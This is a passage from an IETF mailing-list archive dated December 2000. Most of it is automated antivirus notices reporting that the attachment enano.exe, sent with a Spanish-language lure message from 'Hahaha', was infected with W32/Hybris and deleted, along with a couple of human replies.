probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Enanito si, pero con que pedazo! was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-ietf-outbound Tue Dec 26 14:21:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA22631 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 14:20:03 -0500 (EST) Received: from viper2.alleghenypower.com ([198.77.48.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21501 for ; Tue, 26 Dec 2000 13:53:53 -0500 (EST) Received: from viper2.alleghenypower.com (root@localhost) by viper2.alleghenypower.com with ESMTP id NAA09347 for ; Tue, 26 Dec 2000 13:53:23 -0500 (EST) Message-Id: <200012261853.NAA09337@viper2.alleghenypower.com> From: ANTIGEN_SMPXCH0C To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris-B virus Date: Tue, 26 Dec 2000 13:54:03 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris-B virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SMPXCH0C. From owner-ietf-outbound Tue Dec 26 14:31:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA22887 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 14:30:02 -0500 (EST) Received: from exchsrv1.cosinecom.com (mail.cosinecom.com [63.88.104.16]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21529 for ; Tue, 26 Dec 2000 13:54:18 -0500 (EST) Received: by exchsrv1.cosinecom.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 10:51:50 -0800 Message-ID: <7EB7C6B62C4FD41196A80090279A29110176931A@exchsrv1.cosinecom.com> From: Ganesan Ramu To: ietf@ietf.org Subject: RE: Enanito si, pero con que pedazo! Date: Tue, 26 Dec 2000 10:51:49 -0800 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06F6C.E78CA840" X-Loop: ietf@ietf.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C06F6C.E78CA840 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable My corporate mail system with virus scanning says that this mail (may = have had an attachment) is infected. I hope, you haven't become a victim. - Ganesan -----Original Message----- From: Hahaha [mailto:hahaha@sexyfun.net] Sent: Tuesday, December 26, 2000 10:17 AM To: ietf@ietf.org Subject: Enanito si, pero con que pedazo! Faltaba apenas un dia para su aniversario de de 18 a=F1os. Blanca de = Nieve fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una = *grande* sorpresa para su fiesta de complea=F1os. Al entardecer, llegaron. = Tenian un brillo incomun en los ojos... ------_=_NextPart_001_01C06F6C.E78CA840 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Enanito si, pero con que pedazo!

My corporate mail system with virus scanning says = that this mail (may have had an attachment) is infected. I hope, you = haven't become a victim.

- Ganesan

-----Original Message-----
From: Hahaha [mailto:hahaha@sexyfun.net]=
Sent: Tuesday, December 26, 2000 10:17 AM
To: ietf@ietf.org
Subject: Enanito si, pero con que pedazo!


Faltaba apenas un dia para su aniversario de de 18 = a=F1os. Blanca de Nieve fuera
siempre muy bien cuidada por los enanitos. Ellos le = prometieron una *grande*
sorpresa para su fiesta de complea=F1os. Al = entardecer, llegaron. Tenian un brillo
incomun en los ojos...


------_=_NextPart_001_01C06F6C.E78CA840-- From owner-ietf-outbound Tue Dec 26 14:41:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA23116 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 14:40:02 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21537 for ; Tue, 26 Dec 2000 13:54:40 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id 76B6C7F85 for ; Tue, 26 Dec 2000 11:50:38 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 10:54:10 -0800 Message-ID: <15E6537E180CC545848148F30F6688D8171041@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris-B virus Date: Tue, 26 Dec 2000 10:54:10 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris-B virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-ietf-outbound Tue Dec 26 15:01:40 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23439 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 15:00:03 -0500 (EST) Received: from viper2.alleghenypower.com ([198.77.48.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21650 for ; Tue, 26 Dec 2000 13:57:18 -0500 (EST) Received: from viper2.alleghenypower.com (root@localhost) by viper2.alleghenypower.com with ESMTP id NAA10609 for ; Tue, 26 Dec 2000 13:56:48 -0500 (EST) Message-Id: <200012261856.NAA10595@viper2.alleghenypower.com> From: ANTIGEN_SMPXCH0C To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris-B virus Date: Tue, 26 Dec 2000 13:57:27 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris-B virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SMPXCH0C. From owner-ietf-outbound Tue Dec 26 15:11:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23675 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 15:10:02 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21686 for ; Tue, 26 Dec 2000 13:57:49 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 13:54:23 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442CB@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris@m virus Date: Tue, 26 Dec 2000 13:54:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris@m virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-ietf-outbound Tue Dec 26 15:21:35 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23781 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 15:20:02 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21719 for ; Tue, 26 Dec 2000 13:58:03 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id 6D7247F85 for ; Tue, 26 Dec 2000 11:54:01 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 10:57:33 -0800 Message-ID: <15E6537E180CC545848148F30F6688D8171044@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris-B virus Date: Tue, 26 Dec 2000 10:57:33 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris-B virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-ietf-outbound Tue Dec 26 15:41:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA23979 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 15:40:02 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21878 for ; Tue, 26 Dec 2000 14:01:16 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 13:57:50 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442CE@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris@m virus Date: Tue, 26 Dec 2000 13:57:49 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris@m virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-ietf-outbound Tue Dec 26 15:51:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA24173 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 15:50:03 -0500 (EST) Received: from external.zumanetworks.com (external.zumanetworks.com [64.161.185.13]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22011 for ; Tue, 26 Dec 2000 14:05:09 -0500 (EST) Received: from msmail.win.zumanetworks.com by external.zumanetworks.com via smtpd (for odin.ietf.org [132.151.1.176]) with SMTP; 26 Dec 2000 19:05:10 UT Received: from mail pickup service by msmail.win.zumanetworks.com with Microsoft SMTPSVC; Tue, 26 Dec 2000 11:05:09 -0800 From: Antigen To: ietf@ietf.org Subject: Antigen found W32/Hybris@m (Norman,Sophos) virus Message-ID: X-OriginalArrivalTime: 26 Dec 2000 19:05:09.0121 (UTC) FILETIME=[C3F71710:01C06F6E] Date: 26 Dec 2000 11:05:09 -0800 X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris@m (Norman,Sophos) virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in SMTP Messages\Inbound located at Unknown/Unknown/MSMAIL. From owner-ietf-outbound Tue Dec 26 16:01:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24428 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 16:00:02 -0500 (EST) Received: from external.zumanetworks.com (external.zumanetworks.com [64.161.185.13]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22029 for ; Tue, 26 Dec 2000 14:05:12 -0500 (EST) Received: from msmail.win.zumanetworks.com by external.zumanetworks.com via smtpd (for odin.ietf.org [132.151.1.176]) with SMTP; 26 Dec 2000 19:05:13 UT Received: from mail pickup service by msmail.win.zumanetworks.com with Microsoft SMTPSVC; Tue, 26 Dec 2000 11:05:13 -0800 From: Antigen To: ietf@ietf.org Subject: Antigen found W32/Hybris@m (Norman,McAfee4) virus Message-ID: X-OriginalArrivalTime: 26 Dec 2000 19:05:13.0059 (UTC) FILETIME=[C64FFB30:01C06F6E] Date: 26 Dec 2000 11:05:13 -0800 X-Loop: ietf@ietf.org Antigen for Exchange found enano.exe infected with W32/Hybris@m (Norman,McAfee4) virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in SMTP Messages\Inbound located at Unknown/Unknown/MSMAIL. From owner-ietf-outbound Tue Dec 26 16:11:40 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24774 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 16:10:02 -0500 (EST) Received: from eamail1-out.unisys.com ([192.61.61.99]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22224 for ; Tue, 26 Dec 2000 14:09:22 -0500 (EST) Received: from us-ea-gtwy-7.ea.unisys.com (us-ea-gtwy-7.ea.unisys.com [192.61.145.102]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id TAA11789 for ; Tue, 26 Dec 2000 19:08:27 GMT Received: by us-ea-gtwy-7.ea.unisys.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 13:09:16 -0600 Message-ID: <5DB22FA0A32CD2118DDD00104B94378A10CE3223@us-ea-gtwy-7.ea.unisys.com> From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-7_0 To: ietf@ietf.org Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Tue, 26 Dec 2000 13:09:10 -0600 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org From: Hahaha [SMTP:hahaha@sexyfun.net] To: Date: Tue, Dec 26 2000, 12:17:24 PM Subject: Enanito si, pero con que pedazo! The message contained 1 virus(es): enano.exe infected with the W32/Hybris@m virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-ietf-outbound Tue Dec 26 16:21:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25044 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 16:20:03 -0500 (EST) Received: from bbmail1-out.unisys.com ([192.63.108.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22250 for ; Tue, 26 Dec 2000 14:09:46 -0500 (EST) Received: from us-bb-gtwy-2.bb.unisys.com (us-bb-gtwy-2.bb.unisys.com [192.63.78.152]) by bbmail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id TAA06293 for ; Tue, 26 Dec 2000 19:04:14 GMT Received: by us-bb-gtwy-2.bb.unisys.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 14:09:29 -0500 Message-ID: From: Nemx Power Tools for MS Exchange Server_US-BB-GTWY-2_0 To: ietf@ietf.org Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Tue, 26 Dec 2000 14:09:26 -0500 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org From: Hahaha [SMTP:hahaha@sexyfun.net] To: Date: Tue, Dec 26 2000, 1:17:24 PM Subject: Enanito si, pero con que pedazo! The message contained 1 virus(es): enano.exe infected with the W32/Hybris@m virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-ietf-outbound Tue Dec 26 16:31:36 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25295 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 16:30:02 -0500 (EST) Received: from scog-ws3.gsa.gov ([159.142.144.58]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22368 for ; Tue, 26 Dec 2000 14:13:48 -0500 (EST) From: ravoyne.payton@gsa.gov Received: from 159.142.144.55 by scog-ws3.gsa.gov with ESMTP (GSA Internet E-Mail System (MMS v4.7)); Tue, 26 Dec 2000 14:14:08 -0500 X-Server-Uuid: cb2f616c-ae65-11d3-874c-00508b6362bc Subject: Antigen found the W32/Hybris.gen@M virus To: ietf@ietf.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: Date: Tue, 26 Dec 2000 14:14:56 -0500 X-MIMETrack: Serialize by Router on SCOG-NOTESSMTP1/GSAEXTERNAL(Release 5.0.4a |July 24, 2000) at 12/26/2000 02:14:04 PM MIME-Version: 1.0 X-WSS-ID: 1656318A467491-01-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Subject: Antigen found the W32/Hybris.gen@M virus You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Enanito si, pero con que pedazo!" Sent from: Hahaha At the email address of: hahaha@sexyfun.net Antigen for Exchange found the file: enano.exe Infected with the virus: W32/Hybris.gen@M . The file is: Deleted. The message was sent to: ,ietf@ietf.org The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Enanito si, pero con que pedazo! was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Enanito si, pero con que pedazo! was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-ietf-outbound Tue Dec 26 16:51:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25513 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 16:50:02 -0500 (EST) Received: from eamail1-out.unisys.com ([192.61.61.99]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22592 for ; Tue, 26 Dec 2000 14:19:01 -0500 (EST) Received: from us-ea-gtwy-4.ea.unisys.com (us-ea-gtwy-4.ea.unisys.com [192.61.146.122]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id TAA12821 for ; Tue, 26 Dec 2000 19:18:11 GMT Received: by us-ea-gtwy-4.ea.unisys.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 13:19:01 -0600 Message-ID: <67E8951A6DA6D2119C7E0000C0B43B000E7B85E1@us-ea-gtwy-4.ea.unisys.com> From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-4_0 To: ietf@ietf.org Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Tue, 26 Dec 2000 13:18:51 -0600 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org From: Hahaha [SMTP:hahaha@sexyfun.net] To: Date: Tue, Dec 26 2000, 12:17:24 PM Subject: Enanito si, pero con que pedazo! The message contained 1 virus(es): enano.exe infected with the W32/Hybris@m virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-ietf-outbound Tue Dec 26 17:01:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA25628 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 17:00:03 -0500 (EST) Received: from bbmail1-out.unisys.com ([192.63.108.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22600 for ; Tue, 26 Dec 2000 14:19:23 -0500 (EST) Received: from us-bb-gtwy-2.bb.unisys.com (us-bb-gtwy-2.bb.unisys.com [192.63.78.152]) by bbmail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id TAA06621 for ; Tue, 26 Dec 2000 19:13:51 GMT Received: by us-bb-gtwy-2.bb.unisys.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 14:19:07 -0500 Message-ID: From: Nemx Power Tools for MS Exchange Server_US-BB-GTWY-2_0 To: ietf@ietf.org Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Tue, 26 Dec 2000 14:19:06 -0500 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org From: Hahaha [SMTP:hahaha@sexyfun.net] To: Date: Tue, Dec 26 2000, 1:17:24 PM Subject: Enanito si, pero con que pedazo! The message contained 1 virus(es): enano.exe infected with the W32/Hybris@m virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-ietf-outbound Tue Dec 26 17:11:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA25751 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 17:10:03 -0500 (EST) Received: from arminho.ip.pt (arminho.ip.pt [195.23.132.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22789 for ; Tue, 26 Dec 2000 14:25:39 -0500 (EST) Received: (qmail 8299 invoked by uid 1037); 26 Dec 2000 19:25:04 -0000 Received: from unknown (HELO clix.pt) (195.23.132.7) by arminho2.ip.pt with SMTP; 26 Dec 2000 19:25:04 -0000 Received: (qmail 5308 invoked from network); 26 Dec 2000 19:25:02 -0000 Received: from unknown (HELO damn.clix.pt) (195.23.239.77) by atum.ip.pt with SMTP; 26 Dec 2000 19:25:02 -0000 Message-Id: <5.0.2.1.2.20001226192335.02891360@pop.clix.pt> X-Sender: x0565381@pop.clix.pt X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 26 Dec 2000 19:24:11 +0000 To: Hahaha From: Daniel MD Subject: Re: Enanito si, pero con que pedazo! Cc: ietf@ietf.org In-Reply-To: <0G6600M58TGPNU@SMTP.Prodigy.Net.mx> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id OAA22789 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit At 12:17 26-12-2000 -0600, you wrote: >Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve fuera >siempre muy bien cuidada por los enanitos. Ellos le prometieron una *grande* >sorpresa para su fiesta de compleaños. Al entardecer, llegaron. Tenian un >brillo >incomun en los ojos... > > Thank You for your time, Compliments, and Have a Nice Day... Daniel MD [IM-Thinking@clix.pt] From owner-ietf-outbound Tue Dec 26 17:31:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA25933 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 17:30:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22955 for ; Tue, 26 Dec 2000 14:33:25 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA10297 for ; Tue, 26 Dec 2000 14:32:53 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA20267 for ; Tue, 26 Dec 2000 14:32:55 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 14:32:54 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FC9F@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 14:32:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 17:41:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26042 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 17:40:02 -0500 (EST) Received: from exch-connector.netcomsystems.com ([12.9.24.195]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA22965 for ; Tue, 26 Dec 2000 14:33:35 -0500 (EST) Received: by exch-connector.netcomsystems.com with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Dec 2000 11:33:06 -0800 Message-ID: <9384475DFC05D2118F9C00805F6F263104762FAD@exchange1.netcomsystems.com> From: ANTIGEN_EXCHANGE1 To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris-B virus Date: Tue, 26 Dec 2000 11:33:03 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06F72.A9B01CE0" X-Loop: ietf@ietf.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C06F72.A9B01CE0 Content-Type: text/plain Antigen for Exchange found enano.exe infected with W32/Hybris-B virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCHANGE1. ------_=_NextPart_001_01C06F72.A9B01CE0 Content-Type: text/html Antigen found W32/Hybris-B virus

Antigen for Exchange found enano.exe infected with W32/Hybris-B virus.
The file is currently Deleted.  The message, "Enanito si, pero con que pedazo!", was
sent from Hahaha  and was discovered in IMC Queues\Inbound
located at Netcom Systems/NETCOMSYSTEMS/EXCHANGE1.

------_=_NextPart_001_01C06F72.A9B01CE0-- From owner-ietf-outbound Tue Dec 26 17:51:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA26202 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 17:50:02 -0500 (EST) Received: from mailgate.pit.comms.marconi.com ([169.144.68.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23044 for ; Tue, 26 Dec 2000 14:36:08 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA10395 for ; Tue, 26 Dec 2000 14:35:37 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA20546 for ; Tue, 26 Dec 2000 14:35:38 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 26 Dec 2000 14:35:37 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FCA2@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'ietf@ietf.org'" Subject: Antivirus Utility found the W32/Hybris.gen@M virus Date: Tue, 26 Dec 2000 14:35:36 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain X-Loop: ietf@ietf.org Antivirus Utility for Exchange found enano.exe infected with the W32/Hybris.gen@M virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-ietf-outbound Tue Dec 26 18:01:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA26371 for ietf-outbound.10@ietf.org; Tue, 26 Dec 2000 18:00:02 -0500 (EST) Received: from exch-connector.netcomsystems.com ([12.9.24.195]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA23051 for ; Tue, 26 Dec 2000 14:36:21 -0500 (EST) Received: by exch-connector.netcomsystems.com with Internet Mail Service (5.5.2653.19) id ; Tue, 26 Dec 2000 11:35:52 -0800 Message-ID: <9384475DFC05D2118F9C00805F6F263104952DB2@exchange1.netcomsystems.com> From: ANTIGEN_EXCHANGE1 To: "'ietf@ietf.org'" Subject: Antigen found W32/Hybris-B virus Date: Tue, 26 Dec 2000 11:35:45 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06F73.0ACE5370" X-Loop: ietf@ietf.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C06F73.0ACE5370 Content-Type: text/plain Antigen for Exchange found enano.exe infected with W32/Hybris-B virus. The file is currently Deleted. The message, "Enanito si, pero con que pedazo!", was sent from Hahaha and was discovered in IMC Queues\Inbound located at Netcom Systems/NETCOMSYSTEMS/EXCHANGE1. ------_=_NextPart_001_01C06F73.0ACE5370 Content-Type: text/html Antigen found W32/Hybris-B virus

Antigen for Exchange found enano.exe infected with W32/Hybris-B virus.
The file is currently Deleted.  The message, "Enanito si, pero con que pedazo!", was
sent from Hahaha  and was discovered in IMC Queues\Inbound
located at Netcom Systems/NETCOMSYSTEMS/EXCHANGE1.

